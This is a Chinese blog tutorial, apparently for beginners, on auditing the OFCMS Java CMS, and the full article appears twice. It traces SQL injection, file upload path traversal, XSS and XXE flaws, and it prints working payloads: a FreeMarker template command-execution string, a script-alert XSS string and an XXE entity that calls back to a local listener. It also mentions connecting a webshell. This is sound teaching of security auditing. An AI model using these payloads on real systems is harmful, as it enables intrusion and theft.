Java代码审计入门指南:OFCMS篇?

2026-05-23 22:301阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1737个文字,预计阅读时间需要7分钟。

Java代码审计入门指南:OFCMS篇?

启动Java+审计之路,从最基础的项目开始,文章目录包括:- OFCMS搭建环境- 漏洞分析- 模板注入- 文件上传- XSS- XXE- 参考资料

开启 Java 审计之路,从最基础的项目开始

文章目录

  • ​​OFCMS​​
  • ​​搭建环境​​
  • ​​漏洞分析​​
  • ​​模板注入​​
  • ​​文件上传​​
  • ​​XSS​​
  • ​​XXE​​
  • ​​参考:​​

OFCMS

搭建环境

​​下载链接​​

  • 导入项目使用 idea 导入文件,注意这里是导入不是直接打开
  • import project 与 open 的区别: import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。 open:如果项目之前就是 idea 开发的,直接用 open 即可

  • 可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)
  • 选择 maven

  • 配置数据库密码新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以
  • 在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码

  • 修改根目录 maven 项目依赖即 pom.xml 文件
  • 修改为合适版本,点击 import changes

  • 配置 tomcat 服务
  • 添加 tomcat server local

    设置 tomcat 目录

    点击 deployment

    点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改

    配置成功后在 idea 右上角可以看到程序启动按钮为绿色

    Java代码审计入门指南:OFCMS篇?

  • 启动项目访问
  • 站点地址:localhost:8080/ofcms-admin/

    后台地址: localhost:8080/ofcms-admin/admin/login.html

    账密:admin/123456

    这是手动部署的方式,也可以选择下载 war 包以安装方式部署

    为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句

    推荐两个工具:

    • ​​Java版​​
    • ​​PHP版​​

    漏洞分析

    拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解

    漏洞位置为:ofcms- admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

    查看函数 getPara

    可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法

    updata 方法是重载的,只需要看红框里的即可

    再继续往下跟 MAIN.updata

    可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行

    并且进行回显

    有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?

    这里确实是用了预编译,但是这里没有正确使用,正确的方法如下

    public void select() { Connection connection = null; PreparedStatement preparedStatement = null; ResultSet rs = null; String sql = "select * from user limit 0,1"; try { //获取数据连接 connection = basicUse.getConnection(); //获取发送sql指令执行sql对象 preparedStatement = connection.prepareStatement(sql); //返回查询结果集用于保存数据库查询内容 rs = preparedStatement.executeQuery();

    发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行

    模板注入

    模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴

    浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的

    ​​freemarker 模板注入​​

    通过前台首页找到对应的模版

    回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

    成功执行命令

    文件上传

    前台位置

    代码位置

    在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中

    和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件

    尝试写一个 jsp 文件

    直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp

    在 tomcat 目录下可以发现已经写入成功

    直接用冰蝎连接

    XSS

    在 1.1.3 版本中新增文章评论功能,该功能存在 xss

    在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用​​Db.update()​​方法将数据更新到数据库中,这里是没有进行过滤

    抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:​​<script>alert(1)</script>​​,提交数据包

    XXE

    在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数

    在 compileReport 方法中又调用了​​JRXmlLoader.load()​​方法,继续跟踪

    在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的

    因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下

    <!DOCTYPE foo <!ENTITY % xxe SYSTEM "127.0.0.1:7777"> %xxe; ]>

    localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload

    使用 python 启动一个简单的服务器,访问 url 即可收到请求

    参考:

    ​​P神代码审计​​​​记又一次Java代码审计​​

    本文共计1737个文字,预计阅读时间需要7分钟。

    Java代码审计入门指南:OFCMS篇?

    启动Java+审计之路,从最基础的项目开始,文章目录包括:- OFCMS搭建环境- 漏洞分析- 模板注入- 文件上传- XSS- XXE- 参考资料

    开启 Java 审计之路,从最基础的项目开始

    文章目录

    • ​​OFCMS​​
    • ​​搭建环境​​
    • ​​漏洞分析​​
    • ​​模板注入​​
    • ​​文件上传​​
    • ​​XSS​​
    • ​​XXE​​
    • ​​参考:​​

    OFCMS

    搭建环境

    ​​下载链接​​

  • 导入项目使用 idea 导入文件,注意这里是导入不是直接打开
  • import project 与 open 的区别: import project:如果项目不是用 idea 开发的,用 import 打开。因为这个情况下,这个项目不是 idea 模型,使用 import 可以避免许多不必要的麻烦。 open:如果项目之前就是 idea 开发的,直接用 open 即可

  • 可以在 idea 开始界面选择 import Project,或者在开启项目的情况下,选择以下路径(新版 idea 已经取消开始界面的导入选项,所以使用第二种方法就好)
  • 选择 maven

  • 配置数据库密码新建数据库 ofcms,导入数据库文件,可以使用 navicat 或者 idea 自带的都可以
  • 在 ofcms-admin/src/main/resources/dev/conf/ 文件夹下 db.properties 文件,修改数据库的账号和密码

  • 修改根目录 maven 项目依赖即 pom.xml 文件
  • 修改为合适版本,点击 import changes

  • 配置 tomcat 服务
  • 添加 tomcat server local

    设置 tomcat 目录

    点击 deployment

    点击确定修改成功后下边的 appliaction context 就是文件目录,可以自定义修改

    配置成功后在 idea 右上角可以看到程序启动按钮为绿色

    Java代码审计入门指南:OFCMS篇?

  • 启动项目访问
  • 站点地址:localhost:8080/ofcms-admin/

    后台地址: localhost:8080/ofcms-admin/admin/login.html

    账密:admin/123456

    这是手动部署的方式,也可以选择下载 war 包以安装方式部署

    为了方便调试代码,可以使用 SQL 监控工具查看数据库具体执行语句

    推荐两个工具:

    • ​​Java版​​
    • ​​PHP版​​

    漏洞分析

    拿到一个 Java 系统后首先分辨是 普通 servlet 还是 ssh/ssm 框架是否使用 maven 工程,如果使用的 maven 工程首先看 pom.xml 配置文件去对系统有一个整体的了解

    漏洞位置为:ofcms- admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

    查看函数 getPara

    可以发现这里使用自定义函数 getPara 来接收用户输入的参数,然后使用 updata 方法,进入 updata 方法

    updata 方法是重载的,只需要看红框里的即可

    再继续往下跟 MAIN.updata

    可以发现输入的数据作为语句进行编译并且在 executeUpdate 处进行了执行

    并且进行回显

    有同学可能会感到疑问,这里不是用了预编译,不是预编译可以防止 SQL 注入么?

    这里确实是用了预编译,但是这里没有正确使用,正确的方法如下

    public void select() { Connection connection = null; PreparedStatement preparedStatement = null; ResultSet rs = null; String sql = "select * from user limit 0,1"; try { //获取数据连接 connection = basicUse.getConnection(); //获取发送sql指令执行sql对象 preparedStatement = connection.prepareStatement(sql); //返回查询结果集用于保存数据库查询内容 rs = preparedStatement.executeQuery();

    发现漏洞点这里是将用户输入的语句直接编译执行,而不是作为编译的参数,所以语句可以正常执行

    模板注入

    模板注入可以说是 Java 中最常出现的漏洞,像 Struts2 的 OGNL 表达式注入,Spring SPEL 表达式注入,甚至 Log4j 的注入都可以认为是模板注入的范畴

    浏览 pom.xml 的时候发现存在模版引擎 freemarker,该模版是存在模版注入的

    ​​freemarker 模板注入​​

    通过前台首页找到对应的模版

    回到系统中找到该模版,然后直接使用 payload 执行系统命令,这里执行的命令是 whoami

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

    成功执行命令

    文件上传

    前台位置

    代码位置

    在 com.ofsoft.cms.admin.controller.cms.TemplateController 类的 save 方法中

    和模板注入一样,没有对文件名和内容进行过滤,可以通过 …/ 向服务器写任意文件

    尝试写一个 jsp 文件

    直接 F12 改这里的 value 就可以修改文件名了,不行的话再用 burp

    在 tomcat 目录下可以发现已经写入成功

    直接用冰蝎连接

    XSS

    在 1.1.3 版本中新增文章评论功能,该功能存在 xss

    在 save 方法中调用了 getParamsMap 方法,这个方法是用来获取用户提交的所有参数的,获取到所有参数后就调用​​Db.update()​​方法将数据更新到数据库中,这里是没有进行过滤

    抓取用户评论的请求数据包,修改 comment_content 内容为 xss payload:​​<script>alert(1)</script>​​,提交数据包

    XXE

    在 com.ofsoft.cms.admin.controller.ReprotAction 类的 expReport 方法中,通过 get 参数接收 j,并且没有过滤,底下还进行了拼接,可以通过传入 …/ 来控制路径,后边调用了 compileReport 函数

    在 compileReport 方法中又调用了​​JRXmlLoader.load()​​方法,继续跟踪

    在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档内容,默认是没有禁用外部实体解析的,所以这里是存在XXE漏洞的

    因为在一开始路径拼接了 jrxml,所以说要利用的话也用这个文件,可以先生成一个文件,文件内容如下

    <!DOCTYPE foo <!ENTITY % xxe SYSTEM "127.0.0.1:7777"> %xxe; ]>

    localhost:8080/ofcms_admin/admin/reprot/expReport.html?j=../../static/payload

    使用 python 启动一个简单的服务器,访问 url 即可收到请求

    参考:

    ​​P神代码审计​​​​记又一次Java代码审计​​